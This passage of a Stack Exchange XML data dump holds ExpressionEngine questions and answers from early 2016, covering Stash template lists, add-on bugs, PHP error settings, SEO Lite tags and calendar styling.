{/model_homes:address}&#xA;            {/exp:stash:set_list:nested}&#xA;            {exp:stash:set_list:nested name=&quot;sv_house_images_{model_homes:entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {model_homes:house_images cover_only=&quot;yes&quot;}&#xA;                    {stash:sv_house_image_full}{image:url}{/stash:sv_house_image_full}&#xA;                    {stash:sv_house_image}{image:url:gallery}{/stash:sv_house_image}&#xA;                    {stash:sv_house_title}{image:title}{/stash:sv_house_title}&#xA;                {/model_homes:house_images}&#xA;            {/exp:stash:set_list:nested}&#xA;            {exp:stash:set_list:nested name=&quot;sv_details_{model_homes:entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {model_homes:house_details}&#xA;                    {stash:sv_price}{house_details:price}{/stash:sv_price}&#xA;                    {stash:sv_bedrooms}{house_details:bedrooms}{/stash:sv_bedrooms}&#xA;                    {stash:sv_bathrooms}{house_details:bathrooms}{/stash:sv_bathrooms}&#xA;                    {stash:sv_living_rooms}{house_details:living_rooms}{/stash:sv_living_rooms}&#xA;                    {stash:sv_dining_rooms}{house_details:dining_rooms}{/stash:sv_dining_rooms}&#xA;                    {stash:sv_square_footage}{house_details:square_footage}{/stash:sv_square_footage}&#xA;                {/model_homes:house_details}&#xA;            {/exp:stash:set_list:nested}&#xA;        {/model_homes}&#xA;    {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my &quot;get_list&quot;, I achieved what I needed by pulling out the data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;flexslider title-slider&quot; data-animation=&quot;fade&quot; data-loop=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;title&quot;&amp;gt;Model Homes&amp;lt;/div&amp;gt;&#xA;    &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;        {exp:stash:get_list name='sv_model_homes'}&#xA;            {switch='&amp;lt;li&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;||'}&#xA;            &amp;lt;div class=&quot;col-md-4 col-sm-6&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;thumbnail boxed&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;listing-image&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;listing-tag important&quot;&amp;gt;Model Home&amp;lt;/span&amp;gt;&#xA;                        {exp:stash:get_list:nested name='sv_house_images_{sv_house_id}'}&#xA;                            &amp;lt;img src=&quot;{sv_house_image}&quot; alt=&quot;{sv_house_title}&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;image-links&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;left&quot;&amp;gt;&#xA;                                    &amp;lt;a class=&quot;inner&quot; href=&quot;{sv_house_image_full}&quot; data-lightbox=&quot;related-1&quot;&amp;gt;&#xA;                                        &amp;lt;i class=&quot;fa fa-camera&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                                    &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;                                    &amp;lt;a class=&quot;inner&quot; href=&quot;{site_url}house/{sv_house_url}&quot;&amp;gt;&#xA;                                        &amp;lt;i class=&quot;fa fa-link&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                                    &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        {exp:stash:get_list:nested name='sv_details_{sv_house_id}'}&#xA;                            &amp;lt;div class=&quot;image-tags&quot;&amp;gt;&#xA;                                &amp;lt;ul class=&quot;property-tags&quot;&amp;gt;&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class=&quot;icon-bed&quot;&amp;gt;&amp;lt;/i&amp;gt; {sv_bedrooms}&amp;lt;br&amp;gt;&amp;lt;span class=&quot;small&quot;&amp;gt;Bedrooms&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class=&quot;icon-shower&quot;&amp;gt;&amp;lt;/i&amp;gt; {sv_bathrooms}&amp;lt;br&amp;gt;&amp;lt;span class=&quot;small&quot;&amp;gt;Bathrooms&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;/ul&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;                        {exp:stash:get_list:nested name='sv_address_{sv_house_id}'}&#xA;                            &amp;lt;h4&amp;gt;{sv_street}&amp;lt;br&amp;gt;&amp;lt;small&amp;gt;{sv_city}, {sv_state}&amp;lt;/small&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        {exp:stash:get_list:nested name='sv_details_{sv_house_id}'}&#xA;                            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                    &amp;lt;strong&amp;gt;Property Size:&amp;lt;/strong&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                    {sv_square_footage} SqFt&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                    &amp;lt;strong&amp;gt;Rooms:&amp;lt;/strong&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                    {sv_bedrooms} Bed, {sv_bathrooms} Bath&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;hr&amp;gt;&#xA;                            &amp;lt;span class=&quot;price-tag&quot;&amp;gt;&#xA;                                ${sv_price}&#xA;                            &amp;lt;/span&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        &amp;lt;a href=&quot;{site_url}house/{sv_house_url}&quot; class=&quot;btn btn-link &quot; role=&quot;button&quot;&amp;gt;+ Show Details&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {if count == absolute_results}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {if:else}&#xA;                {switch='||&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;'}&#xA;            {/if}&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-27T20:09:56.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35710" PostTypeId="1" CreationDate="2016-02-28T05:59:30.863" Score="0" ViewCount="76" Body="&lt;p&gt;I have checked and double checked my settings. I don't see anything wrong in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have established a file upload location and verified it is working correctly with a Channel Images field. When I set the same location for the images in the Editor image upload location it is not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can click the 'Image' button in the toolbar and the insert window opens. I can then either drag/drop or click insert and select the image I would like to insert. The title shows up and appears to be ready to insert, but the window then closes and drops a blank space in the copy section. When you look at the source, you can see an empty image 'figure' block. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure&amp;gt;&amp;lt;img data-image=&quot;&quot;&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See images for visual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q2KZU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q2KZU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zcB9X.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zcB9X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4tBev.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tBev.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ghesl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ghesl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-06-02T15:30:23.057" Title="EE3 DevDemon Editor not inserting images" Tags="|file-uploads|devdemon|ee3|editor|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35711" PostTypeId="2" ParentId="35707" CreationDate="2016-02-28T06:15:09.333" Score="0" Body="&lt;p&gt;Double check to see if you have an options setting under the 'Accessories' group for Forms. If so, try setting access there. You should also be able to set the permissed groups under the member group permissions settings. It would help knowing what version of EE and what version of Forms you are using.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-28T06:15:09.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35712" PostTypeId="1" CreationDate="2016-02-28T12:24:22.390" Score="1" ViewCount="135" Body="&lt;p&gt;Am trying to include an html encode php script on the very top of a layout template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am allowing php to execute on this layout template, however I end up with something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ra:000000007e39e89a000000001069d118 --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-05-05T12:14:47.173" Title="How to include an html encode php script in a layout template?" Tags="|ee2|php|encode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35713" PostTypeId="2" ParentId="30214" CreationDate="2016-02-28T16:52:57.097" Score="1" Body="&lt;h2&gt;View Count + Total Comments&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also use the variable {comment_total} in conjunction with {view_count_one} for an alternate assessment of popularity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;code&gt;exp:channel:entries&lt;/code&gt; listing tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;view_count_one|comment_total&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conditional might be&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if comment_total &amp;gt;= '10' AND view_count_one &amp;gt;= '10' }&#xA;This entry is trending&#xA;{if:else}&#xA;This is a regular entry&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-02-28T16:52:57.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35714" PostTypeId="2" ParentId="35710" CreationDate="2016-02-28T19:44:30.260" Score="0" Body="&lt;p&gt;I received a response from Manuel of DevDemon support. This was a bug and has been corrected for a future release coming out soon.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-28T19:44:30.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35715" PostTypeId="1" CreationDate="2016-02-29T07:58:09.660" Score="0" ViewCount="266" Body="&lt;p&gt;I have a error on the back-end of my clients site relating with assets which I urgently need to resolve somehow. It is using Assets 2.4 and EE 2.7.1&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Strict Standards: Static function&#xA;  Assets_base_source::get_settings_field_list() should not be abstract&#xA;  in ..../assets/third_party/assets/sources/base_source.php on line 197&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can you please advice me what can be done ?&lt;/p&gt;&#xA;" OwnerUserId="993" LastEditorUserId="425" LastEditDate="2016-02-29T11:00:13.840" LastActivityDate="2020-12-19T18:04:45.460" Title="Assets - Strict Standards Error" Tags="|assets|pixelandtonic|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35716" PostTypeId="1" CreationDate="2016-02-29T10:26:02.433" Score="0" ViewCount="97" Body="&lt;p&gt;The html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;categorie&quot;&amp;gt;&amp;lt;b&amp;gt;Rechtsgebied:&amp;lt;/b&amp;gt; {categories}{if &quot;{parent_id}&quot;==&quot;10&quot;}&amp;lt;i&amp;gt;{category_name}&amp;lt;/i&amp;gt; {/if}{/categories}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I publish a new article, is it possible for me to hide the category on the website (so this piece of html) when all the categories are unchecked? Is this being done easily with an if statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I'm being clear, if not, please ask&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks :)&lt;/p&gt;&#xA;" OwnerUserId="7142" LastActivityDate="2016-06-13T05:50:01.883" Title="Hide category in entry when empty" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35718" PostTypeId="1" AcceptedAnswerId="35727" CreationDate="2016-02-29T12:17:06.900" Score="1" ViewCount="241" Body="&lt;p&gt;I've transferred an ExpressionEngine site from the staging server to live but now I'm getting the following error for pretty much any {exp:channel:entries} tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;&#xA;Message: call_user_func() expects parameter 1 to be a valid callback, no array or string given&#xA;&#xA;Filename: channel_entries_parser/Parser.php&#xA;&#xA;Line Number: 380&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is one of the tags causing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;blog_post&quot; limit=&quot;10&quot;}&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The differences between the servers are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Staging: PHP Version 5.4.35 Live: PHP Version 5.4.45&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Staging: Apache Version  Apache/2.2.15 (CentOS) Live: Apache&#xA;Version  Apache/2.2.17 (Atomic)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EE v2.10.2 Addons: cache_buster, ed_imageresizer, ep_better_workflow, excerpt, fieldpack, freebie, freeform, freeform_campaign_monitor_hook, index.html, lamplighter, list.txt, low_seg2cat, mx_cloner, reefine, reelocate, republic_structure_tweaks, stash, structure, structure_nav, structure_page_exists, switchee, trunchtml, url_tube, wygwam&lt;/p&gt;&#xA;" OwnerUserId="961" LastEditorUserId="961" LastEditDate="2016-02-29T13:06:48.593" LastActivityDate="2016-02-29T16:47:01.880" Title="call_user_func() expects parameter 1 to be a valid callback" Tags="|channel-entries|php-errors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35720" PostTypeId="2" ParentId="35716" CreationDate="2016-02-29T13:31:11.437" Score="0" Body="&lt;p&gt;Maybe &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; addon can help here. This piece of code creates a Stash variables with the list of categories inside and then it only outputs it with the div class if the variable is not empty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;cats&quot; parse_tags=&quot;yes&quot;}{categories}{if &quot;{parent_id}&quot;==&quot;10&quot;}&amp;lt;i&amp;gt;{category_name}&amp;lt;/i&amp;gt;{/if}{/categories}{/exp:stash:set}&#xA;&#xA;{if {exp:stash:not_empty name=&quot;cats&quot;}}&#xA;&amp;lt;div class=&quot;categorie&quot;&amp;gt;&amp;lt;b&amp;gt;Rechtsgebied:&amp;lt;/b&amp;gt; &#xA;{exp:stash:cats}             &#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2016-02-29T13:31:11.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35721" PostTypeId="2" ParentId="35704" CreationDate="2016-02-29T13:35:14.310" Score="0" Body="&lt;p&gt;Try checking the $config['cp_url'] value in system/expressionengine/config/config.php is what you expect. It's usually something like '&lt;a href=&quot;http://www.yoursite.com/admin.php&quot; rel=&quot;nofollow&quot;&gt;http://www.yoursite.com/admin.php&lt;/a&gt;'. &lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2016-02-29T13:35:14.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35722" PostTypeId="2" ParentId="35715" CreationDate="2016-02-29T15:23:19.043" Score="0" Body="&lt;p&gt;You should update your PHP configuration (in PHP.ini) to suppress strict standards errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting = E_ALL &amp;amp; ~E_STRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2016-02-29T15:23:19.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35723" PostTypeId="2" ParentId="35712" CreationDate="2016-02-29T15:25:57.307" Score="1" Body="&lt;p&gt;I recommend not allowing PHP execution and using a plugin instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/stringy&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/stringy&lt;/a&gt;&#xA;&lt;a href=&quot;https://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/phpstringfun&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2016-02-29T15:25:57.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35724" PostTypeId="2" ParentId="35718" CreationDate="2016-02-29T15:27:58.113" Score="1" Body="&lt;p&gt;If such a vanilla Channel Entries tag on a template by itself is causing that error, I'd start disabling add-ons until the error goes away. In that list of add-ons are many with extensions that could be creating unexpected behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by heading to Add-ons &gt; Extensions and clicking the &quot;Disable Extensions&quot; button on the top right. Access that front end reduction template again and see if the error persists. If it doesn't, then you can re-enable extensions and try disabling them one at a time until you find the culprit. If you browse your &lt;code&gt;exp_extensions&lt;/code&gt; table, in this case the most likely extensions are going to have hooks using &lt;code&gt;channel_entries_tagdata_end&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2016-02-29T16:47:01.880" LastActivityDate="2016-02-29T16:47:01.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35725" PostTypeId="1" CreationDate="2016-02-29T15:57:13.770" Score="0" ViewCount="74" Body="&lt;p&gt;I would like to display a value/label pair inside of my notification template. For example, assuming I can use {label_name:value}, this method only returns the label name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/08rF7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/08rF7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2016-05-12T10:04:21.873" Title="How to display value/label pair inside notification template?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35726" PostTypeId="1" CreationDate="2016-02-29T15:59:13.330" Score="0" ViewCount="23" Body="&lt;p&gt;Does the REElocate plugin bij exp:resso actually moves my ExpressiongEngine website or does it copy it?  I have an ExpressionEngine website and I'd like to copy this to another domain (thus server), for an development/experiment environment. So whenever I use the REElocate plugin, I hope it doesn't actually move my whole website. :P  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7142" LastActivityDate="2016-02-29T19:44:22.263" Title="Does the REElocate plugin bij exp:resso actually moves my ExpressiongEngine website or does it copy it?" Tags="|plugin|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35727" PostTypeId="2" ParentId="35718" CreationDate="2016-02-29T16:12:04.940" Score="2" Body="&lt;p&gt;Looks like the problem is originating from system/expressionengine/modules/channel/mod.channel.php line 2343 which returns a Closure for &lt;code&gt;tagdata_loop_end&lt;/code&gt; and the live server doesn't understand Closures for some reason. I've added an &lt;code&gt;if&lt;/code&gt; to line 380 in Parser.php so it ignores the Closure as a temporary workaround:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_callable($callbacks['tagdata_loop_end'])) $tagdata = call_user_func($callbacks['tagdata_loop_end'], $tagdata, $row);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2016-02-29T16:12:04.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35728" PostTypeId="1" AcceptedAnswerId="35735" CreationDate="2016-02-29T18:37:54.230" Score="0" ViewCount="135" Body="&lt;p&gt;I am using stash on a client site and was pushing over data from the entry itself for SEO meta, but want to provide the user the ability to customize it with the SEO Lite tab. Is there a way I can check for the SEO Lite custom entry specific values only? It seems that the default values are being checked against as well. Currently, I was trying to use the tag pair to do things like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite use_last_segment=&quot;yes&quot;}&#xA;    {if title}&#xA;        &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;title&amp;gt;{exp:stash:seo_title strip_tags='yes' trim='yes'}&amp;lt;/title&amp;gt;&#xA;    {/if}&#xA;    {if meta_description}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{meta_description}&quot;&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:stash:seo_desc strip_tags='yes' trim='yes'}&quot;&amp;gt;&#xA;    {/if}&#xA;    {if meta_keywords}&#xA;        &amp;lt;meta name=&quot;keywords&quot; content=&quot;{meta_keywords}&quot;&amp;gt;&#xA;    {/if}&#xA;{/exp:seo_lite}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I should be doing in order to accomplish this? Or if it's even available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE3, Stash 3.0.0, SEO Lite 1.5.1&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2016-02-29T20:15:25.337" LastActivityDate="2016-03-01T07:32:35.960" Title="Check for channel entry seo data or use template code instead of defaults" Tags="|stash|parse-order|ee3|seo|seo-lite|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35729" PostTypeId="2" ParentId="35726" CreationDate="2016-02-29T19:44:22.263" Score="1" Body="&lt;p&gt;I don’t think it does either.  I’m pretty sure all it does is fix up the various config strings within an EE database to point to the correct locations after the MySQL has been moved over to a new machine.  The moving of the rest of the assets that make up your website is down to you to do.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-02-29T19:44:22.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35733" PostTypeId="2" ParentId="35716" CreationDate="2016-02-29T21:41:27.930" Score="0" Body="&lt;p&gt;You can probably do what you want using Buzzing Pixel's Category Construct add-on.  It is a very simple add-on that provides a raft of manipuation options for working with categories - including the ability to count how many categories are set for an entry (or collection of entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual EE code will depend on what else you are doing with your template, but you can find the (short, simple) documentation here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://buzzingpixel.com/software/category-construct/documentation/template-tags&quot; rel=&quot;nofollow&quot;&gt;https://buzzingpixel.com/software/category-construct/documentation/template-tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-02-29T21:41:27.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35734" PostTypeId="2" ParentId="35725" CreationDate="2016-03-01T02:26:43.813" Score="0" Body="&lt;p&gt;You could try the documentation for freeform entries &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/entries/#freeform_label_field_name&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically use &lt;code&gt; {freeform:label:FIELD_NAME} &lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-03-01T02:26:43.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35735" PostTypeId="2" ParentId="35728" CreationDate="2016-03-01T07:32:35.960" Score="1" Body="&lt;p&gt;The only thing I can think of in your case is to specify some default in the description or keywords that you know and can check against. So, if SEO Lite defaults you'll know about it and can then use the ones from the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I usually do this though is with extra tags, have you looked at those? &lt;a href=&quot;http://wedoaddons.com/seo-lite/extra-tags&quot; rel=&quot;nofollow&quot;&gt;http://wedoaddons.com/seo-lite/extra-tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2016-03-01T07:32:35.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35739" PostTypeId="1" CreationDate="2016-03-01T16:34:41.530" Score="0" ViewCount="743" Body="&lt;p&gt;I created a subdomain with redirects for my site images at images.domain.com in order to avoid cookies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my read of EE documentation, I should go to Admin / Security and Privacy / Cookie Settings and put .www.domain.com in the cookie domain box to set the cookies for that subdomain and that way avoid cookies for images.domain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site performance tools are still showing cookies for the images. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2016-03-01T21:00:47.263" Title="Cookie-free subdomain" Tags="|cookies|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35740" PostTypeId="1" CreationDate="2016-03-01T17:59:56.113" Score="0" ViewCount="23" Body="&lt;p&gt;I have a monthly calendar, and I just want to change the color of a day if it has an event on that day. It works great with single day events, but for days that span multiple days, day_event_total only counts the first day. Code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;day_cell {if day_event_total &amp;gt; 0}has_events{/if}&quot;&amp;gt;&#xA;    {if day_event_total &amp;gt; 0}&#xA;    &amp;lt;a class=&quot;num&quot;&#xA;        href=&quot;{path='/envelopers/community/calendar'}/{date format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;        {date format=&quot;%j&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if day_event_total &amp;gt; 0}&#xA;        &amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{if:else}&#xA;    &amp;lt;td class=&quot;day_cell out_of_range&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;num&quot;&amp;gt;&#xA;        {date format=&quot;%j&quot;}&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7162" LastEditorUserId="884" LastEditDate="2016-03-01T19:05:51.817" LastActivityDate="2016-04-03T09:41:15.813" Title="Color Coding days if they have multi-day events" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
